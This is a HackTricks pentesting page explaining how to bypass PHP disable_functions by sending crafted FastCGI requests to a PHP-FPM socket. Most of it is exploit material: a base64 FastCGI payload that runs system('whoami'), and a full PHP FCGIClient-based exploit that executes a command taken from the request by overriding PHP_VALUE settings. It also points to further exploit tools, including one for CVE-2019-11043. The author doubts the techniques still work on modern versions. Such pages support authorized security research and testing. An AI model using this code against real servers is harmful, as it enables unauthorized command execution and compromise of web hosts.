disable_functions bypass - php-fpm/FastCGI - HackTricks

# disable_functions bypass - php-fpm/FastCGI

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## PHP-FPM

PHP-FPM is presented as a superior alternative to the standard PHP FastCGI, offering features that are particularly beneficial for websites with high traffic. It operates through a master process that oversees a collection of worker processes. For a PHP script request, it's the web server that initiates a FastCGI proxy connection to the PHP-FPM service. This service has the capability to receive requests either via network ports on the server or Unix sockets.

Despite the intermediary role of the proxy connection, PHP-FPM needs to be operational on the same machine as the web server. The connection it uses, while proxy-based, differs from conventional proxy connections. Upon receiving a request, an available worker from PHP-FPM processes it—executing the PHP script and then forwarding the results back to the web server. After a worker concludes processing a request, it becomes available again for upcoming requests.

## But what is CGI and FastCGI?

### CGI

Normally web pages, files and all of the documents which are transferred from the web server to the browser are stored in a specific public directory such as home/user/public_html. When the browser requests certain content, the server checks this directory and sends the required file to the browser.

If CGI is installed on the server, the specific cgi-bin directory is also added there, for example home/user/public_html/cgi-bin. CGI scripts are stored in this directory. Each file in the directory is treated as an executable program. When accessing a script from the directory, the server sends request to the application, responsible for this script, instead of sending file's content to the browser. After the input data processing is completed, the application sends the output data to the web server which forwards the data to the HTTP client.

For example, when the CGI script http://mysitename.com/cgi-bin/file.pl is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the .pl file code itself. (explanation from here)

### FastCGI

FastCGI is a newer web technology, an improved CGI version as the main functionality remains the same.

The need to develop FastCGI is that Web was arisen by applications' rapid development and complexity, as well to address the scalability shortcomings of CGI technology. To meet those requirements Open Market introduced FastCGI – a high performance version of the CGI technology with enhanced capabilities.

## disable_functions bypass

It's possible to run PHP code abusing the FastCGI and avoiding the `disable_functions` limitations.

### Via Gopherus

> [!CAUTION] I'm not sure if this is working in modern versions because I tried once and it didn't execute anything. Please, if you have more information about this contact me via [PEASS & HackTricks telegram group here](https://t.me/peass), or twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Using Gopherus you can generate a payload to send to the FastCGI listener and execute arbitrary commands:

Then, you can grab the urlencoded payload and decode it and transform to base64, [using this recipe of cyberchef for example](http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). And then copy/pasting the abse64 in this php code:

    <?php
    $fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

Uploading and accessing this script the exploit is going to be sent to FastCGI (disabling `disable_functions`) and the specified commands are going to be executed.

### PHP exploit

> [!CAUTION] I'm not sure if this is working in modern versions because I tried once and I couldn't execute anything. Actually I managed to see that `phpinfo()` from FastCGI execution indicated that `disable_functions` was empty, but PHP (somehow) was still preventing me from executing any previously disabled function. Please, if you have more information about this contact me via [PEASS & HackTricks telegram group here](https://t.me/peass), or twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Code from here.

    <?php
    /**
     * Note : Code is released under the GNU LGPL
     *
     * Please do not change the header of this file
     *
     * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
     * Lesser General Public License as published by the Free Software Foundation; either version 2 of
     * the License, or (at your option) any later version.
     *
     * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
     * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
     *
     * See the GNU Lesser General Public License for more details.
     */
    /**
     * Handles communication with a FastCGI application
     *
     * @author      Pierrick Charron <pierrick@webstart.fr>
     * @version     1.0
     */
    class FCGIClient
    {
        const VERSION_1            = 1;
        const BEGIN_REQUEST        = 1;
        const ABORT_REQUEST        = 2;
        const END_REQUEST          = 3;
        const PARAMS               = 4;
        const STDIN                = 5;
        const STDOUT               = 6;
        const STDERR               = 7;
        const DATA                 = 8;
        const GET_VALUES           = 9;
        const GET_VALUES_RESULT    = 10;
        const UNKNOWN_TYPE         = 11;
        const MAXTYPE              = self::UNKNOWN_TYPE;
        const RESPONDER            = 1;
        const AUTHORIZER           = 2;
        const FILTER               = 3;
        const REQUEST_COMPLETE     = 0;
        const CANT_MPX_CONN        = 1;
        const OVERLOADED           = 2;
        const UNKNOWN_ROLE         = 3;
        const MAX_CONNS            = 'MAX_CONNS';
        const MAX_REQS             = 'MAX_REQS';
        const MPXS_CONNS           = 'MPXS_CONNS';
        const HEADER_LEN           = 8;
        /**
         * Socket
         * @var Resource
         */
        private $_sock = null;
        /**
         * Host
         * @var String
         */
        private $_host = null;
        /**
         * Port
         * @var Integer
         */
        private $_port = null;
        /**
         * Keep Alive
         * @var Boolean
         */
        private $_keepAlive = false;
        /**
         * Constructor
         *
         * @param String $host Host of the FastCGI application
         * @param Integer $port Port of the FastCGI application
         */
        public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
        {
            $this->_host = $host;
            $this->_port = $port;
        }
        /**
         * Define whether or not the FastCGI application should keep the connection
         * alive at the end of a request
         *
         * @param Boolean $b true if the connection should stay alive, false otherwise
         */
        public function setKeepAlive($b)
        {
            $this->_keepAlive = (boolean)$b;
            if (!$this->_keepAlive && $this->_sock) {
                fclose($this->_sock);
            }
        }
        /**
         * Get the keep alive status
         *
         * @return Boolean true if the connection should stay alive, false otherwise
         */
        public function getKeepAlive()
        {
            return $this->_keepAlive;
        }
        /**
         * Create a connection to the FastCGI application
         */
        private function connect()
        {
            if (!$this->_sock) {
                //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
                $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
                if (!$this->_sock) {
                    throw new Exception('Unable to connect to FastCGI application');
                }
            }
        }
        /**
         * Build a FastCGI packet
         *
         * @param Integer $type Type of the packet
         * @param String $content Content of the packet
         * @param Integer $requestId RequestId
         */
        private function buildPacket($type, $content, $requestId = 1)
        {
            $clen = strlen($content);
            return chr(self::VERSION_1)         /* version */
                . chr($type)                    /* type */
                . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
                . chr($requestId & 0xFF)        /* requestIdB0 */
                . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
                . chr($clen & 0xFF)             /* contentLengthB0 */
                . chr(0)                        /* paddingLength */
                . chr(0)                        /* reserved */
                . $content;                     /* content */
        }
        /**
         * Build an FastCGI Name value pair
         *
         * @param String $name Name
         * @param String $value Value
         * @return String FastCGI Name value pair
         */
        private function buildNvpair($name, $value)
        {
            $nlen = strlen($name);
            $vlen = strlen($value);
            if ($nlen < 128) {
                /* nameLengthB0 */
                $nvpair = chr($nlen);
            } else {
                /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
                $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
            }
            if ($vlen < 128) {
                /* valueLengthB0 */
                $nvpair .= chr($vlen);
            } else {
                /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
                $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
            }
            /* nameData & valueData */
            return $nvpair . $name . $value;
        }
        /**
         * Read a set of FastCGI Name value pairs
         *
         * @param String $data Data containing the set of FastCGI NVPair
         * @return array of NVPair
         */
        private function readNvpair($data, $length = null)
        {
            $array = array();
            if ($length === null) {
                $length = strlen($data);
            }
            $p = 0;
            while ($p != $length) {
                $nlen = ord($data{$p++});
                if ($nlen >= 128) {
                    $nlen = ($nlen & 0x7F << 24);
                    $nlen |= (ord($data{$p++}) << 16);
                    $nlen |= (ord($data{$p++}) << 8);
                    $nlen |= (ord($data{$p++}));
                }
                $vlen = ord($data{$p++});
                if ($vlen >= 128) {
                    $vlen = ($nlen & 0x7F << 24);
                    $vlen |= (ord($data{$p++}) << 16);
                    $vlen |= (ord($data{$p++}) << 8);
                    $vlen |= (ord($data{$p++}));
                }
                $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
                $p += ($nlen + $vlen);
            }
            return $array;
        }
        /**
         * Decode a FastCGI Packet
         *
         * @param String $data String containing all the packet
         * @return array
         */
        private function decodePacketHeader($data)
        {
            $ret = array();
            $ret['version']       = ord($data{0});
            $ret['type']          = ord($data{1});
            $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
            $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
            $ret['paddingLength'] = ord($data{6});
            $ret['reserved']      = ord($data{7});
            return $ret;
        }
        /**
         * Read a FastCGI Packet
         *
         * @return array
         */
        private function readPacket()
        {
            if ($packet = fread($this->_sock, self::HEADER_LEN)) {
                $resp = $this->decodePacketHeader($packet);
                $resp['content'] = '';
                if ($resp['contentLength']) {
                    $len  = $resp['contentLength'];
                    while ($len && $buf=fread($this->_sock, $len)) {
                        $len -= strlen($buf);
                        $resp['content'] .= $buf;
                    }
                }
                if ($resp['paddingLength']) {
                    $buf=fread($this->_sock, $resp['paddingLength']);
                }
                return $resp;
            } else {
                return false;
            }
        }
        /**
         * Get Informations on the FastCGI application
         *
         * @param array $requestedInfo information to retrieve
         * @return array
         */
        public function getValues(array $requestedInfo)
        {
            $this->connect();
            $request = '';
            foreach ($requestedInfo as $info) {
                $request .= $this->buildNvpair($info, '');
            }
            fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
            $resp = $this->readPacket();
            if ($resp['type'] == self::GET_VALUES_RESULT) {
                return $this->readNvpair($resp['content'], $resp['length']);
            } else {
                throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
            }
        }
        /**
         * Execute a request to the FastCGI application
         *
         * @param array $params Array of parameters
         * @param String $stdin Content
         * @return String
         */
        public function request(array $params, $stdin)
        {
            $response = '';
            $this->connect();
            $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
            $paramsRequest = '';
            foreach ($params as $key => $value) {
                $paramsRequest .= $this->buildNvpair($key, $value);
            }
            if ($paramsRequest) {
                $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
            }
            $request .= $this->buildPacket(self::PARAMS, '');
            if ($stdin) {
                $request .= $this->buildPacket(self::STDIN, $stdin);
            }
            $request .= $this->buildPacket(self::STDIN, '');
            fwrite($this->_sock, $request);
            do {
                $resp = $this->readPacket();
                if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                    $response .= $resp['content'];
                }
            } while ($resp && $resp['type'] != self::END_REQUEST);
            var_dump($resp);
            if (!is_array($resp)) {
                throw new Exception('Bad request');
            }
            switch (ord($resp['content']{4})) {
                case self::CANT_MPX_CONN:
                    throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
                    break;
                case self::OVERLOADED:
                    throw new Exception('New request rejected; too busy [OVERLOADED]');
                    break;
                case self::UNKNOWN_ROLE:
                    throw new Exception('Role value not known [UNKNOWN_ROLE]');
                    break;
                case self::REQUEST_COMPLETE:
                    return $response;
            }
        }
    }
    ?>
    <?php
    // real exploit start here
    if (!isset($_REQUEST['cmd'])) {
        die("Check your input\n");
    }
    if (!isset($_REQUEST['filepath'])) {
        $filepath = __FILE__;
    }else{
        $filepath = $_REQUEST['filepath'];
    }
    $req = '/'.basename($filepath);
    $uri = $req .'?'.'command='.$_REQUEST['cmd'];
    $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
    $code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
    $php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
    //$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
    $params = array(
            'GATEWAY_INTERFACE' => 'FastCGI/1.0',
            'REQUEST_METHOD'    => 'POST',
            'SCRIPT_FILENAME'   => $filepath,
            'SCRIPT_NAME'       => $req,
            'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
            'REQUEST_URI'       => $uri,
            'DOCUMENT_URI'      => $req,
    #'DOCUMENT_ROOT'     => '/',
            'PHP_VALUE'         => $php_value,
            'SERVER_SOFTWARE'   => '80sec/wofeiwo',
            'REMOTE_ADDR'       => '127.0.0.1',
            'REMOTE_PORT'       => '9985',
            'SERVER_ADDR'       => '127.0.0.1',
            'SERVER_PORT'       => '80',
            'SERVER_NAME'       => 'localhost',
            'SERVER_PROTOCOL'   => 'HTTP/1.1',
            'CONTENT_LENGTH'    => strlen($code)
            );
    // print_r($_REQUEST);
    // print_r($params);
    //echo "Call: $uri\n\n";
    echo $client->request($params, $code)."\n";
    ?>

Using the previous function you will see that the function `system` is still disabled but `phpinfo()` shows a `disable_functions` empty:

So, I think that you can only set `disable_functions` via php `.ini` config files and the PHP_VALUE won't override that setting.

### FuckFastGCI

This is a php script to exploit fastcgi protocol to bypass `open_basedir` and `disable_functions`.
It will help you to bypass strict `disable_functions` to RCE by loading the malicious extension.
You can access it here: https://github.com/w181496/FuckFastcgi or a sligtly modified and improved version here: https://github.com/BorelEnzo/FuckFastcgi

You will find that the exploit is very similar to the previous code, but instead of trying to bypass `disable_functions` using PHP_VALUE, it tries to load an external PHP module to execute code using the parameters `extension_dir` and `extension` inside the variable `PHP_ADMIN_VALUE`.
NOTE1: You probably will need to recompile the extension with the same PHP version that the server is using (you can check it inside the output of phpinfo):

> [!CAUTION] NOTE2: I managed to make this work by inserting the `extension_dir` and `extension` values inside a PHP `.ini` config file (something that you won't be able to do attacking a server). But for some reason, when using this exploit and loading the extension from the `PHP_ADMIN_VALUE` variable the process just died, so I don't know if this technique is still valid.

### PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)

You can exploit this vulnerability with phuip-fpizdam and test is using this docker environment: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043.
You can also find an analysis of the vulnerability here.

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> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
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